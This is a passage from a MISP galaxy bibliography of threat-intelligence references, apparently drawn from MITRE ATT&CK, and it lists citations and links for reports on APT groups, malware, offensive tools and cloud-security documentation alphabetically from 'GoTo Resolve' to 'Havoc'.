https://www.cybereason.com/hubfs/Research-Reports/THREAT%20ALERT%20GootLoader%20-%20Large%20payload%20leading%20to%20compromise%20(BLOG)%20-%20v2.1.pdf

GoTo Resolve

GoTo. (n.d.). GoTo Resolve. Retrieved October 11, 2024.

The tag is: *misp-galaxy:references="GoTo Resolve"*

Table 20935. Table References

Links
https://www.goto.com/it-management/resolve

SentinelOne 1 16 2023

Jim Walter. (2023, January 16). Gotta Catch 'Em All . Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="SentinelOne 1 16 2023"*

Table 20936. Table References

Links
https://www.sentinelone.com/blog/gotta-catch-em-all-understanding-the-netsupport-rat-campaigns-hiding-behind-pokemon-lures/

Unit 42 CARROTBAT January 2020

McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.

The tag is: *misp-galaxy:references="Unit 42 CARROTBAT January 2020"*

Table 20937. Table References

Links
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

Secureworks BRONZE SILHOUETTE May 2023

Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.

The tag is: *misp-galaxy:references="Secureworks BRONZE SILHOUETTE May 2023"*

Table 20938. Table References

Links
https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations

Google TAG CVE-2023-38831 October 18 2023

Kate Morgan. (2023, October 18). Government-backed actors exploiting WinRAR vulnerability. Retrieved July 10, 2024.

The tag is: *misp-galaxy:references="Google TAG CVE-2023-38831 October 18 2023"*

Table 20939. Table References

Links
https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/

Google_WinRAR_vuln_2023

Morgan, K. (2023, October 18). Government-backed actors exploiting WinRAR vulnerability. Retrieved July 19, 2024.

The tag is: *misp-galaxy:references="Google_WinRAR_vuln_2023"*

Table 20940. Table References

Links
https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/

DOJ KVBotnet 2024

US Department of Justice. (2024, January 31). U.S. Government Disrupts Botnet People's Republic of

China Used to Conceal Hacking of Critical Infrastructure. Retrieved June 10, 2024.

The tag is: *misp-galaxy:references="DOJ KVBotnet 2024"*

Table 20941. Table References

Links
https://www.justice.gov/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical

FireEye HAWKBALL Jun 2019

Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.

The tag is: *misp-galaxy:references="FireEye HAWKBALL Jun 2019"*

Table 20942. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html

CISA AA20-296A Berserk Bear December 2020

CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021.

The tag is: *misp-galaxy:references="CISA AA20-296A Berserk Bear December 2020"*

Table 20943. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions

Obscuresecurity Get-GPPPassword

Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Obscuresecurity Get-GPPPassword"*

Table 20944. Table References

Links
https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html

Microsoft gpresult

Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.

The tag is: *misp-galaxy:references="Microsoft gpresult"*

Table 20945. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult

Gpscript.exe - LOLBAS Project

LOLBAS. (2018, May 25). Gpscript.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Gpscript.exe - LOLBAS Project"*

Table 20946. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Gpscript/

ESET Grandoreiro April 2020

ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.

The tag is: *misp-galaxy:references="ESET Grandoreiro April 2020"*

Table 20947. Table References

Links
https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/

IBM Grandoreiro April 2020

Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020.

The tag is: *misp-galaxy:references="IBM Grandoreiro April 2020"*

Table 20948. Table References

Links
https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/

Guardian Grand Theft Auto Leak 2022

Keza MacDonald, Keith Stuart and Alex Hern. (2022, September 19). Grand Theft Auto 6 leak: who

hacked Rockstar and what was stolen?. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Guardian Grand Theft Auto Leak 2022"*

Table 20949. Table References

Links
https://www.theguardian.com/games/2022/sep/19/grand-theft-auto-6-leak-who-hacked-rockstar-and-what-was-stolen

AWS PassRole

AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023.

The tag is: *misp-galaxy:references="AWS PassRole"*

Table 20950. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html

Microsoft Azure Storage Shared Access Signature

Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Microsoft Azure Storage Shared Access Signature"*

Table 20951. Table References

Links
https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview

CopyFromScreen .NET

Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.

The tag is: *misp-galaxy:references="CopyFromScreen .NET"*

Table 20952. Table References

Links
https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8

Talos GravityRAT

Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT

Targeting India. Retrieved May 16, 2018.

The tag is: *misp-galaxy:references="Talos GravityRAT"*

Table 20953. Table References

Links
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

BroadcomSW October 10 2023

Threat Hunter Team Symantec. (2023, October 10). Grayling Previously Unseen Threat Actor Targets Multiple Organizations in Taiwan. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="BroadcomSW October 10 2023"*

Table 20954. Table References

Links
https://www.security.com/threat-intelligence/grayling-taiwan-cyber-attacks

FireEye PowerShell Logging

Dunwoody, M. (2016, February 11). Greater Visibility Through PowerShell Logging. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="FireEye PowerShell Logging"*

Table 20955. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

FireEye PowerShell Logging 2016

Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.

The tag is: *misp-galaxy:references="FireEye PowerShell Logging 2016"*

Table 20956. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Glitch-Cat Green Lambert ATTCK Oct 2021

Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Glitch-Cat Green Lambert ATTCK Oct 2021"*

Table 20957. Table References

Links
https://web.archive.org/web/20211018145402/https://www.glitch-cat.com/blog/green-lambert-and-attack

GreenMwizi - Kenyan scamming campaign using Twitter bots

blog.bushidotoken.net. (n.d.). GreenMwizi - Kenyan scamming campaign using Twitter bots. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="GreenMwizi - Kenyan scamming campaign using Twitter bots"*

Table 20958. Table References

Links
https://blog.bushidotoken.net/2023/05/greenmwizi-kenyan-scamming-campaign.html

Man7.org December 29 2019

Man7.org. (2019, December 29). grep — Linux manual page. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Man7.org December 29 2019"*

Table 20959. Table References

Links
https://man7.org/linux/man-pages/man1/grep.1.html

ESET GreyEnergy Oct 2018

Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.

The tag is: *misp-galaxy:references="ESET GreyEnergy Oct 2018"*

Table 20960. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

elastic.co June 22 2024

Joe Desimone. (2024, June 22). GrimResource - Microsoft Management Console for initial access and evasion â€” Elastic Security Labs. Retrieved June 25, 2024.

The tag is: *misp-galaxy:references="elastic.co June 22 2024"*

Table 20961. Table References

Links
https://www.elastic.co/security-labs/grimresource

GRIZZLY STEPPE JAR

Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.

The tag is: *misp-galaxy:references="GRIZZLY STEPPE JAR"*

Table 20962. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf

Citizen Lab Group5

Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.

The tag is: *misp-galaxy:references="Citizen Lab Group5"*

Table 20963. Table References

Links
https://citizenlab.ca/2016/08/group5-syria/

Group-IB Threat Intelligence Tweet October 9 2023

GroupIB_TI. (2023, October 9). Group-IB Threat Intelligence Tweet October 9 2023. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="Group-IB Threat Intelligence Tweet October 9 2023"*

Table 20964. Table References

Links
https://twitter.com/GroupIB_TI/status/1711234869060358562

TechNet Group Policy Basics

srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.

The tag is: *misp-galaxy:references="TechNet Group Policy Basics"*

Table 20965. Table References

Links
https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/

Microsoft GPP 2016

Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.

The tag is: *misp-galaxy:references="Microsoft GPP 2016"*

Table 20966. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)

groups man page

MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="groups man page"*

Table 20967. Table References

Links
https://linux.die.net/man/1/groups

Venafi SSH Key Abuse

Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="Venafi SSH Key Abuse"*

Table 20968. Table References

Links
https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities

Wikibooks Grsecurity

Wikibooks. (2018, August 19). Grsecurity/The RBAC System. Retrieved June 4, 2020.

The tag is: *misp-galaxy:references="Wikibooks Grsecurity"*

Table 20969. Table References

Links
https://en.wikibooks.org/wiki/Grsecurity/The_RBAC_System

TrueSec Gsecdump

TrueSec. (n.d.). gsecdump v2.0b5. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="TrueSec Gsecdump"*

Table 20970. Table References

Links
https://web.archive.org/web/20140328102838/https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5

GTFOBins Suid

Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.

The tag is: *misp-galaxy:references="GTFOBins Suid"*

Table 20971. Table References

Links
<a href="https://gtfobins.github.io/<mark>+suid">https://gtfobins.github.io/</mark>+suid

GTFObins at

Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="GTFObins at"*

Table 20972. Table References

Links
https://gtfobins.github.io/gtfobins/at/

AWS GuardDuty EC2 finding types

AWS. (n.d.). GuardDuty EC2 finding types. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="AWS GuardDuty EC2 finding types"*

Table 20973. Table References

Links
https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html

AWS GuardDuty IAM finding types

AWS. (n.d.). GuardDuty IAM finding types. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="AWS GuardDuty IAM finding types"*

Table 20974. Table References

Links
https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html

AWS GuardDuty RDS Protection

AWS. (n.d.). GuardDuty RDS Protection. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="AWS GuardDuty RDS Protection"*

Table 20975. Table References

Links
https://docs.aws.amazon.com/guardduty/latest/ug/rds-protection.html

Fortinet Moses Staff February 15 2022

Rotem Sde-Or. (2022, February 15). Guard Your Drive from DriveGuard: Moses Staff Campaigns Against Israeli Organizations Span Several Months. Retrieved October 23, 2023.

The tag is: *misp-galaxy:references="Fortinet Moses Staff February 15 2022"*

Table 20976. Table References

Links
https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard

Microsoft Security

Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.

The tag is: *misp-galaxy:references="Microsoft Security"*

Table 20977. Table References

Links

https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/

Microsoft Log4j Vulnerability Exploitation December 2021

Microsoft Threat Intelligence. (2021, December 11). Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability. Retrieved December 7, 2023.

The tag is: *misp-galaxy:references="Microsoft Log4j Vulnerability Exploitation December 2021"*

Table 20978. Table References

Links
https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

Unit 42 NETWIRE April 2020

Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021.

The tag is: *misp-galaxy:references="Unit 42 NETWIRE April 2020"*

Table 20979. Table References

Links
https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/

Cloud Hack Tricks GWS Apps Script

HackTricks Cloud. (n.d.). GWS - App Scripts. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Cloud Hack Tricks GWS Apps Script"*

Table 20980. Table References

Links
https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts

gzip Homepage

gzip. (n.d.). gzip Homepage. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="gzip Homepage"*

Table 20981. Table References

Links
https://www.gzip.org/

H0lyGh0st - North Korean Threat Group Strikes Back With New Ransomware

www.picussecurity.com. (n.d.). H0lyGh0st - North Korean Threat Group Strikes Back With New Ransomware. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="H0lyGh0st - North Korean Threat Group Strikes Back With New Ransomware"*

Table 20982. Table References

Links
https://www.picussecurity.com/resource/h0lygh0st-north-korean-threat-group-strikes-back-with-new-ransomware

Cisco H1N1 Part 1

Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.

The tag is: *misp-galaxy:references="Cisco H1N1 Part 1"*

Table 20983. Table References

Links
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

Cisco H1N1 Part 2

Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cisco H1N1 Part 2"*

Table 20984. Table References

Links
https://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2

Wired Magecart S3 Buckets, 2019

Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Wired Magecart S3 Buckets, 2019"*

Table 20985. Table References

Links
https://www.wired.com/story/magecart-amazon-cloud-hacks/

Wired Uber Breach

Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.

The tag is: *misp-galaxy:references="Wired Uber Breach"*

Table 20986. Table References

Links
https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/

Trendmicro NPM Compromise

Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.

The tag is: *misp-galaxy:references="Trendmicro NPM Compromise"*

Table 20987. Table References

Links
https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets

Data Destruction - Threat Post

Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.

The tag is: *misp-galaxy:references="Data Destruction - Threat Post"*

Table 20988. Table References

Links
https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/

GWS Apps Script Abuse 2021

Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="GWS Apps Script Abuse 2021"*

Table 20989. Table References

Links
https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette

Bleeping Computer - Scriptrunner.exe

Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer - Scriptrunner.exe"*

Table 20990. Table References

Links
https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/

Bloomberg Scattered Spider May 8 2024

Katrina Manson. (2024, May 8). Hackers Behind MGM Attack Targeting Financial Sector in New Campaign. Retrieved May 22, 2024.

The tag is: *misp-galaxy:references="Bloomberg Scattered Spider May 8 2024"*

Table 20991. Table References

Links
https://www.bloomberg.com/news/articles/2024-05-08/notorious-scattered-spider-hacking-gang-targeting-finance-sector

BleepingComputer StormBamboo August 3 2024

Sergiu Gatlan. (2024, August 3). Hackers breach ISP to poison software updates with malware. Retrieved February 10, 2025.

The tag is: *misp-galaxy:references="BleepingComputer StormBamboo August 3 2024"*

Table 20992. Table References

Links

https://www.bleepingcomputer.com/news/security/hackers-breach-isp-to-poison-software-updates-with-malware/

Lakshmanan Visual Studio Marketplace

Lakshmanan, R. (2023, January 9). Hackers Can Abuse Visual Studio Marketplace to Target Developers with Malicious Extensions. Retrieved March 30, 2025.

The tag is: *misp-galaxy:references="Lakshmanan Visual Studio Marketplace"*

Table 20993. Table References

Links
https://thehackernews.com/2023/01/hackers-distributing-malicious-visual.html

Salesforce zero-day in facebook phishing attack

Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023.

The tag is: *misp-galaxy:references="Salesforce zero-day in facebook phishing attack"*

Table 20994. Table References

Links
https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/

Fortune Dragonfly 2.0 Sept 2017

Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.

The tag is: *misp-galaxy:references="Fortune Dragonfly 2.0 Sept 2017"*

Table 20995. Table References

Links
http://fortune.com/2017/09/06/hack-energy-grid-symantec/

Wired Cyber Army of Russia April 17 2024

Andy Greenberg. (2024, April 17). Hackers Linked to Russia’s Military Claim Credit for Sabotaging US Water Utilities. Retrieved April 30, 2024.

The tag is: *misp-galaxy:references="Wired Cyber Army of Russia April 17 2024"*

Table 20996. Table References

Links
https://www.wired.com/story/cyber-army-of-russia-reborn-sandworm-us-cyberattacks/

Huntress API Hash

Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022.

The tag is: *misp-galaxy:references="Huntress API Hash"*

Table 20997. Table References

Links
https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection

BleepingComputer Agent Tesla steal wifi passwords

Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="BleepingComputer Agent Tesla steal wifi passwords"*

Table 20998. Table References

Links
https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/

SWAT-hospital

Giles, Bruce. (2024, January 4). Hackers threaten to send SWAT teams to Fred Hutch patients' homes. Retrieved January 5, 2024.

The tag is: *misp-galaxy:references="SWAT-hospital"*

Table 20999. Table References

Links
https://www.beckershospitalreview.com/cybersecurity/hackers-threaten-to-send-swat-teams-to-fred-hutch-patients-homes.html

PCMag FakeLogin

Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="PCMag FakeLogin"*

Table 21000. Table References

Links
https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages

BleepingComputer Velvet Ant June 17 2024

Bill Toulas. (2024, June 17). Hackers use F5 BIG-IP malware to stealthily steal data for years. Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="BleepingComputer Velvet Ant June 17 2024"*

Table 21001. Table References

Links
https://www.bleepingcomputer.com/news/security/hackers-use-f5-big-ip-malware-to-stealthily-steal-data-for-years/

The Hacker News

Ravie Lakshmanan. (2023, April 5). Hackers Using Self-Extracting Archives Exploit for Stealthy Backdoor Attacks. Retrieved March 3, 2025.

The tag is: *misp-galaxy:references="The Hacker News"*

Table 21002. Table References

Links
https://thehackernews.com/2023/04/hackers-using-self-extracting-archives.html

Krebs-Bazaar

Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.

The tag is: *misp-galaxy:references="Krebs-Bazaar"*

Table 21003. Table References

Links
https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/

Unit 42 November 21 2023

Unit 42. (2023, November 21). Hacking Employers and Seeking Employment Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors. Retrieved May 6, 2025.

The tag is: *misp-galaxy:references="Unit 42 November 21 2023"*

Table 21004. Table References

Links
https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/

BleepingComputer Molerats Dec 2020

Ilascu, I. (2020, December 14). Hacking group's new malware abuses Google and Facebook services. Retrieved December 28, 2020.

The tag is: *misp-galaxy:references="BleepingComputer Molerats Dec 2020"*

Table 21005. Table References

Links
https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/

Microsoft Hacking Team Breach

Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.

The tag is: *misp-galaxy:references="Microsoft Hacking Team Breach"*

Table 21006. Table References

Links
https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/

Intel HackingTeam UEFI Rootkit

Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Intel HackingTeam UEFI Rootkit"*

Table 21007. Table References

Links
https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html

TrendMicro Hacking Team UEFI

Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.

The tag is: *misp-galaxy:references="TrendMicro Hacking Team UEFI"*

Table 21008. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/

TempertonDarkHotel

Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.

The tag is: *misp-galaxy:references="TempertonDarkHotel"*

Table 21009. Table References

Links
https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage

FireEye Hacking FIN4 Video Dec 2014

Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.

The tag is: *misp-galaxy:references="FireEye Hacking FIN4 Video Dec 2014"*

Table 21010. Table References

Links
https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html

FireEye Hacking FIN4 Dec 2014

Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.

The tag is: *misp-galaxy:references="FireEye Hacking FIN4 Dec 2014"*

Table 21011. Table References

Links
https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf

Malwarebytes OSINT Leaky Buckets - Hioureas

Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.

The tag is: *misp-galaxy:references="Malwarebytes OSINT Leaky Buckets - Hioureas"*

Table 21012. Table References

Links
https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/

Cyber Security Agency of Singapore March 9 2022

Cyber Security Agency of Singapore. (2022, March 9). Hacktivism during Military Conflict The Anonymous Hacker Collective. Retrieved April 10, 2025.

The tag is: *misp-galaxy:references="Cyber Security Agency of Singapore March 9 2022"*

Table 21013. Table References

Links
https://www.csa.gov.sg/resources/publications/hacktivism-during-military-conflict-the-anonymous-hacker-collective

Microsoft Gsecdump

Vincent Tiu. (2017, September 15). HackTool:Win32/Gsecdump. Retrieved January 10, 2024.

The tag is: *misp-galaxy:references="Microsoft Gsecdump"*

Table 21014. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool:Win32/Gsecdump

Microsoft HAFNIUM March 2020

MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.

The tag is: *misp-galaxy:references="Microsoft HAFNIUM March 2020"*

Table 21015. Table References

Links
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

haking9 libpcap network sniffing

Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP

Security. Retrieved October 18, 2022.

The tag is: *misp-galaxy:references="haking9 libpcap network sniffing"*

Table 21016. Table References

Links
http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf

FireEye APT29

FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye APT29"*

Table 21017. Table References

Links
https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf

FireEye Hancitor

Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020.

The tag is: *misp-galaxy:references="FireEye Hancitor"*

Table 21018. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html

NCC Group Fivehands June 2021

Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021.

The tag is: *misp-galaxy:references="NCC Group Fivehands June 2021"*

Table 21019. Table References

Links
https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/

Apple Developer Doco Hardened Runtime

Apple Inc.. (2021, January 1). Hardened Runtime: Manage security protections and resource access

for your macOS apps.. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Apple Developer Doco Hardened Runtime"*

Table 21020. Table References

Links
https://developer.apple.com/documentation/security/hardened_runtime

FireEye APT34 July 2019

Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34's Invite to Join Their Professional Network. Retrieved August 26, 2019.

The tag is: *misp-galaxy:references="FireEye APT34 July 2019"*

Table 21021. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html

GitHub Hashjacking

Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="GitHub Hashjacking"*

Table 21022. Table References

Links
https://github.com/hob0/hashjacking

Google Cloud UNC2891 March 16 2022

Mathew Potaczek, Takahiro Sugiyama, Logeswaran Nadarajan, Yu Nakamura, Josh Homan, Martin Co, Sylvain Hirsch. (2022, March 16). Have Your Cake and Eat it Too? An Overview of UNC2891. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="Google Cloud UNC2891 March 16 2022"*

Table 21023. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/

ANY.RUN September 30 2024

Stanislav Gayvoronsky; ANY RUN. (2024, September 30). Havoc . Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="ANY.RUN September 30 2024"*

Table 21024. Table References

Links
https://any.run/malware-trends/havoc

Zscaler February 14 2023

Niraj Shivtarkar; Shatak Jain. (2023, February 14). Havoc Across the Cyberspace . Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Zscaler February 14 2023"*

Table 21025. Table References

Links
https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace

immersivelabs.com April 9 2024

immersivelabs.com. (2024, April 9). Havoc C2 Framework – A Defensive Operator's Guide. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="immersivelabs.com April 9 2024"*

Table 21026. Table References

Links
https://www.immersivelabs.com/resources/blog/havoc-c2-framework-a-defensive-operators-guide

FireEye HawkEye Malware July 2017

